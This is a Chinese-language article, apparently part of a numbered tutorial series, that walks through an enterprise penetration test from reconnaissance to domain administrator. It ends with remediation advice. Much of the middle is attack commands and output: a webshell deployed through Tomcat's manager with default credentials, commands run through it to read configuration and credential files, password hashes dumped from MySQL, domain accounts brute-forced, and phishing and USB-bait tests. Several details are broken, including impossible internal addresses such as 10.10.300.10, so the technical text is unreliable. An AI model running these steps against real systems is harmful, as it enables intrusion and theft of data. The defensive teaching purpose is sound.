第250篇:一次完整的企业网安全渗透测试案例

关键词:渗透测试、红蓝对抗、企业网安全、外网攻击、内网横向移动、权限提升、社会工程学、渗透报告

一、引言

渗透测试(Penetration Testing)是模拟真实攻击者对目标系统进行的安全评估活动。与安全扫描不同,安全扫描只发现"已知漏洞",而渗透测试关注的是"漏洞是否可被利用"以及"利用后能到达什么位置"。

本文将通过一个完整的企业网渗透测试案例,展示从外部侦察、边界突破、内网横向移动到目标达成的全过程。这个案例基于真实环境改编,所有技术细节均经过脱敏处理。通过了解攻击者的攻击路径,防御者才能有效地修补安全短板。

二、渗透测试项目背景

2.1 目标企业网络架构

目标企业网络架构 - 图示

2.2 测试范围与规则

项目 内容
测试类型 黑盒测试(无预先信息)
测试范围 公网 IP 段 203.0.113.0/28,企业域名 example.com
禁止行为 拒绝服务攻击、物理入侵、法律敏感操作
测试时间 2024 年 8 月 5 日 - 8 月 16 日(10 个工作日)
通知方式 发现高危漏洞后立即通知,非高危漏洞测试结束后统一报告
应急机制 发现可能影响业务的情况立即暂停并通知

2.3 测试团队分工

角色 人数 职责
渗透测试组长 1 整体规划、进度控制、报告审核
Web 渗透工程师 2 Web 应用测试、API 安全测试
网络渗透工程师 1 网络协议测试、服务漏洞利用
社会工程学工程师 1 钓鱼攻击测试、电话社会工程
内网渗透工程师 1 内网横向移动、域渗透测试

三、渗透测试执行过程

3.1 阶段一:信息收集(Day 1-2)

目标:尽可能多地收集目标信息,为后续攻击做准备。

# ===== 外部信息收集 =====

# 1. DNS 枚举
# 子域名枚举
subfinder -d example.com -all
# 结果:发现 23 个子域名
#   - www.example.com
#   - oa.example.com (OA系统)
#   - mail.example.com
#   - api.example.com
#   - test.example.com (测试环境)
#   - dev.example.com (开发环境)
#   - monitor.example.com (监控系统)

# DNS 区域传输测试
dig axfr example.com @ns1.example.com
# 失败(AXFR 已禁止,配置正确)

# 2. 端口扫描
# 快速扫描(Top 1000 端口)
nmap -sS -T4 -p- 203.0.113.0/28
# 结果:
#   203.0.113.1   open: 80/tcp, 443/tcp  (Web服务器)
#   203.0.113.2   open: 25/tcp, 110/tcp, 143/tcp, 993/tcp, 995/tcp (邮件服务器)
#   203.0.113.3   open: 80/tcp, 443/tcp  (OA系统)
#   203.0.113.5   open: 443/tcp          (API网关)
#   203.0.113.6   open: 8080/tcp         (测试环境 ← 异常)
#   203.0.113.7   open: 9090/tcp         (Prometheus监控 ← 异常)

# 3. 服务指纹识别
nmap -sV -sC -p 80,443,8080,9090 203.0.113.0/28
# 结果:
#   203.0.113.1:80    Nginx 1.18.0
#   203.0.113.3:80    Apache 2.4.49 (CVE-2021-41773 路径遍历 ← 高危)
#   203.0.113.6:8080  Tomcat 9.0.50 (默认界面,弱口令风险)
#   203.0.113.7:9090  Prometheus 2.37.0 (无认证 ← 信息泄露)

关键发现: 1. 测试环境(203.0.113.6)通过防火墙直接暴露在互联网,未做访问限制 2. 监控系统(203.0.113.7)的 Prometheus 无任何认证,可获取内部网络拓扑信息 3. OA 系统使用的 Apache 2.4.49 存在已知漏洞

3.2 阶段二:边界突破(Day 3-4)

目标:通过外网攻击获取内网 foothold。

突破口一:Prometheus 信息泄露

# Prometheus 无认证访问
curl http://203.0.113.7:9090/api/v1/targets
# 返回所有监控目标列表:
# {
#   "targets": [
#     {"url": "http://10.10.300.10:9100/metrics", "labels": {"job": "linux", "instance": "db-server"}},
#     {"url": "http://10.10.300.20:9100/metrics", "labels": {"job": "linux", "instance": "app-server"}},
#     {"url": "http://10.10.400.1:9100/metrics", "labels": {"job": "linux", "instance": "core-switch"}},
#     {"url": "http://10.10.100.10:9100/metrics", "labels": {"job": "linux", "instance": "nms-server"}}
#   ]
# }

# 获取内部 IP 段信息:
# - 10.10.300.0/24  服务器段
# - 10.10.400.0/24  用户段
# - 10.10.100.0/24  管理段

发现:通过 Prometheus 的无认证接口,获取了完整的内网 IP 段和设备命名信息。虽然这些信息不能直接用于攻击,但大幅缩小了后续内网扫描的范围。

突破口二:Tomcat 默认弱口令

# Tomcat 管理界面访问
curl -u admin:admin http://203.0.113.6:8080/manager/html
# 认证成功!← 使用默认账号密码 admin/admin

# 查看已部署应用
curl -u admin:admin http://203.0.113.6:8080/manager/text/list
# 应用列表:
#   /test-app   running
#   /manager    running
#   /host-manager  running

# 上传 WebShell
# 构造 JSP WebShell
echo '<%@ page import="java.util.*,java.io.*" %>' > shell.jsp
echo '<% if(request.getParameter("cmd") != null) { ... } %>' >> shell.jsp

# 上传 WebShell 到 /test-app
curl -u admin:admin -X POST \
  -F "deployWar=@shell.war" \
  -F "path=/shell" \
  http://203.0.113.6:8080/manager/text/deploy

# 验证 WebShell 连通性
curl "http://203.0.113.6:8080/shell/shell.jsp?cmd=whoami"
# 返回:tomcat

curl "http://203.0.113.6:8080/shell/shell.jsp?cmd=id"
# 返回:uid=1000(tomcat) gid=1000(tomcat)

curl "http://203.0.113.6:8080/shell/shell.jsp?cmd=cat /etc/hosts"
# 返回内网 hosts 文件,包含更多内部域名解析

成功获取 foothold:通过 Tomcat 默认弱口令,成功在测试服务器上部署 WebShell,获得了对 DMZ 服务器的 Shell 访问权限。

3.3 阶段三:内网侦察与横向移动(Day 5-7)

目标:从 DMZ 跳板向内网渗透,扩大控制范围。

# ===== 从 Tomcat WebShell 进行内网侦察 =====

# 1. 内网端口扫描(使用 Python 绕过工具限制)
# 内网扫描 10.10.300.0/24 段(服务器段)
curl "http://203.0.113.6:8080/shell/shell.jsp?cmd=python3 -c 'import socket; [print(f\"{ip}:80 open\") if (lambda s: s.connect_ex((ip,80))==0)(socket.socket()) else None for ip in [\"10.10.300.%d\"%i for i in range(1,254)] for s in [socket.socket()]]'"

# 2. 检查防火墙策略
curl "http://203.0.113.6:8080/shell/shell.jsp?cmd=cat /etc/sysconfig/iptables"
# 发现 DMZ 到内网仅开放了以下端口:
#   - 10.10.300.10:3306 (MySQL)
#   - 10.10.300.20:22 (SSH)
#   - 10.10.300.20:8080 (HTTP)

# 3. 数据库凭证窃取
# Tomcat 应用的配置文件通常包含数据库连接信息
curl "http://203.0.113.6:8080/shell/shell.jsp?cmd=find /opt/tomcat -name \"*.properties\" -o -name \"*.xml\" -o -name \"*.yml\" | head -20"
# 发现配置文件
# /opt/tomcat/webapps/test-app/WEB-INF/classes/application.properties

curl "http://203.0.113.6:8080/shell/shell.jsp?cmd=cat /opt/tomcat/webapps/test-app/WEB-INF/classes/application.properties"
# 获取数据库连接信息:
# db.host=10.10.300.10
# db.port=3306
# db.name=testdb
# db.user=testapp
# db.password=T3st@PP2024

突破口三:MySQL 数据库利用

# 从 Tomcat 服务器连接内网 MySQL
curl "http://203.0.113.6:8080/shell/shell.jsp?cmd=mysql -h 10.10.300.10 -u testapp -pT3st@PP2024 testdb -e 'SHOW DATABASES;'"
# 返回数据库列表:
#   testdb
#   oadb     (OA系统数据库 ← 高价值)
#   hrdb     (HR系统数据库 ← 高价值)

# 查看 oadb 数据库表结构
curl "http://203.0.113.6:8080/shell/shell.jsp?cmd=mysql -h 10.10.300.10 -u testapp -pT3st@PP2024 oadb -e 'SHOW TABLES;'"
# 表列表:
#   users       (用户表 ← 含账号信息)
#   departments (部门表)
#   projects    (项目表)

# 查询用户表(含加密密码)
curl "http://203.0.113.6:8080/shell/shell.jsp?cmd=mysql -h 10.10.300.10 -u testapp -pT3st@PP2024 oadb -e 'SELECT username, password FROM users LIMIT 5;'"
# 结果:
#   admin|5d41402abc4b2a76b9719d911017c592  (MD5: hello ← 弱密码)
#   zhangsan|e10adc3949ba59abbe56e057f20f883e  (MD5: 123456 ← 极弱密码)
#   lisi|d8578edf8458ce06fbc5bb76a58c5ca4  (MD5: passwd)
#   wangwu|5f4dcc3b5aa765d61d8327deb882cf99  (MD5: password)
#   admin_db|e99a18c428cb38d5f260853678922e03  (MD5: abc123)

关键发现:OA 系统数据库使用 MD5 加密存储密码(不可逆哈希但可暴力破解),且大量用户使用弱密码。同时,测试应用账号对生产数据库有查询权限,违反了数据库权限最小化原则。

突破口四:利用获取的凭据横向移动

# 1. 使用 OA 系统管理员密码登录 OA 系统
# OA 系统使用 admin/hello 登录成功
# OA 系统存在文件上传功能(附件上传)
# 通过文件上传功能上传 PHP WebShell

# 2. OA 服务器获取 Shell
curl -X POST http://10.10.300.20/upload.php \
  -F "file=@shell.php" \
  -H "Cookie: admin_session=xxx"

# 3. 从 OA 服务器(内网)进行内网扫描
# OA 服务器 IP: 10.10.300.20 (内网)
# 扫描内网关键服务
nmap -sS -p 22,80,443,3306,3389,8080,389,636,88,389 10.10.300.0/24

# 发现内网关键设备:
# 10.10.300.5   open: 389, 636, 88, 445  ← AD 域控制器
# 10.10.300.10  open: 3306                ← MySQL 数据库
# 10.10.300.30  open: 445, 139            ← 文件服务器 (SMB)
# 10.10.300.40  open: 1521                ← Oracle 数据库
# 10.10.300.50  open: 22, 8080            ← 应用服务器

3.4 阶段四:权限提升与域控制(Day 8-9)

目标:获取域管理员权限,控制整个内网。

# 1. 使用获取的 OA 管理员凭据尝试域登录
# 用户名:admin@EXAMPLE.COM
# 密码:hello

# 通过 SMB 验证域凭据
nmap --script smb-enum-users -p 445 10.10.300.5
# 发现域用户列表(含 admin 账号)

# 2. 利用弱密码进行域管理员暴力破解
# 获取域管理员账号列表
crackmapexec smb 10.10.300.5 -u administrators.txt -p passwords.txt

# 结果:发现域管理员账号域管账号使用弱密码
# Success: EXAMPLE.COM/domain_admin / D0main@2024
# (密码来源于 OA 系统数据库中管理员密码的变种)

# 3. 获取域管理员权限后的操作
# 查看所有域计算机
net group "Domain Computers" /domain

# 查看域策略
net accounts /domain
# 密码策略:
#   最小密码长度:6 字符(过于宽松)
#   密码复杂度:已启用
#   密码最长存留期:90 天
#   锁定阈值:5 次

突破口六:社会工程学补充验证

# 在渗透测试过程中,安全工程团队还执行了以下社会工程学测试:

# 测试 1:钓鱼邮件攻击
# 向 50 名员工发送伪造的"IT 部门 - 密码即将过期"钓鱼邮件
# 结果:8 人点击了钓鱼链接(点击率 16%)
# 其中 3 人在钓鱼页面上输入了用户名和密码(提交率 6%)

# 测试 2:电话社会工程
# 伪装成 IT 支持人员,致电 10 名员工要求"验证账号信息"
# 结果:2 人提供了用户名和密码信息

# 测试 3:USB 诱饵
# 在公司前台放置标记为"2024年薪资表"的 USB 驱动器
# 结果:USB 被插入公司电脑(通过 USB 驱动日志确认)
# USB 内含自动执行的 PowerShell 脚本(模拟恶意软件行为)

3.5 阶段五:目标达成与影响评估(Day 10)

目标:证明已获取的最高权限,评估潜在影响。

# ===== 最终成果汇总 =====

# 1. 已获取的访问权限
# - DMZ 服务器 (Tomcat): Shell 访问
# - DMZ 服务器 (OA): WebShell 访问
# - 内网 MySQL 数据库: 完整查询权限
# - AD 域控制器: 域管理员权限
# - 文件服务器 (SMB): 域管理员权限
# - 办公终端: 域管理员可远程管理

# 2. 可获取的敏感数据(未实际窃取,仅证明可达性)
# - OA 系统:全部员工账号信息
# - HR 系统:员工薪资、个人信息
# - 文件服务器:合同文件、技术文档
# - 数据库:客户数据、业务数据

# 3. 攻击路径图

阶段五:目标达成与影响评估(Day 10) - 图示

四、漏洞汇总与修复建议

4.1 发现漏洞清单

编号 漏洞名称 等级 位置 影响
V-001 Tomcat 默认弱口令 严重 DMZ 测试服务器 直接获取 Shell
V-002 Prometheus 无认证访问 高 DMZ 监控系统 内网拓扑泄露
V-003 测试环境暴露于互联网 高 防火墙策略 攻击面扩大
V-004 OA 系统 Apache 路径遍历 高 DMZ OA 服务器 文件读取
V-005 MySQL 跨数据库访问 高 数据库权限 数据泄露
V-006 OA 用户密码 MD5 弱加密 高 OA 数据库 密码可破解
V-007 OA 系统文件上传漏洞 严重 OA 系统 代码执行
V-008 域管理员弱密码 严重 AD 域 域完全沦陷
V-009 域密码策略过于宽松 中 AD 域策略 弱密码可存在
V-010 钓鱼邮件员工安全意识不足 中 员工 凭据泄露

4.2 修复优先级建议

优先级 修复项 修复措施 时间要求
P0 Tomcat 弱口令 立即修改密码,限制管理界面访问 IP 24 小时内
P0 域管理员密码 立即修改域管理员密码,强制强密码策略 24 小时内
P0 OA 文件上传漏洞 修补上传漏洞,限制上传类型和权限 24 小时内
P1 测试环境隔离 防火墙禁止测试环境互联网访问 1 周内
P1 Prometheus 认证 配置 Prometheus 基本认证 1 周内
P1 数据库权限最小化 限制应用账号仅访问所需数据库 2 周内
P1 OA 密码加密升级 从 MD5 迁移到 bcrypt/argon2 2 周内
P2 域密码策略强化 最小长度 12 字符,复杂度要求 1 月内
P2 员工安全意识培训 全员钓鱼演练和安全意识培训 1 月内

五、总结

维度 要点
攻击起点 Tomcat 弱口令(最常见但也最容易被忽视的入口)
关键跳板 数据库配置文件泄露的凭据 → 内网数据库
权限提升 弱密码 MD5 哈希 → 域管理员弱密码
防御短板 缺乏网络分段、弱密码策略、无入侵检测
社会工程 16% 钓鱼点击率表明安全意识培训不足
纵深防御缺失 单点突破即可横向移动至域控
改进方向 网络微隔离、MFA、强密码策略、安全意识培训

核心结论:本次渗透测试暴露了企业网络安全体系的系统性弱点。从边界到内网,从技术到人员,每个环节都存在可被利用的缺口。修复单个漏洞不能根本解决问题,需要构建纵深防御体系:网络微隔离限制横向移动、多因素认证抵御凭据泄露、强密码策略降低暴力破解风险、安全意识培训减少社会工程学攻击成功率。渗透测试不是"找茬",而是帮助企业从攻击者视角发现自身安全盲区的唯一有效手段。

思考

  1. 在这个渗透测试案例中,哪个漏洞的修复能最大程度缩短攻击者的攻击链?为什么?

  2. 企业应如何平衡"渗透测试的频率"与"正常业务运行"之间的关系?

  3. 如果企业部署了 EDR 和 SIEM 系统,这个渗透测试的攻击路径会在哪个环节被发现和阻断?

下篇预告:第251篇:数据中心网络架构演进:传统三层到 Spine-Leaf——面向云计算的网络变革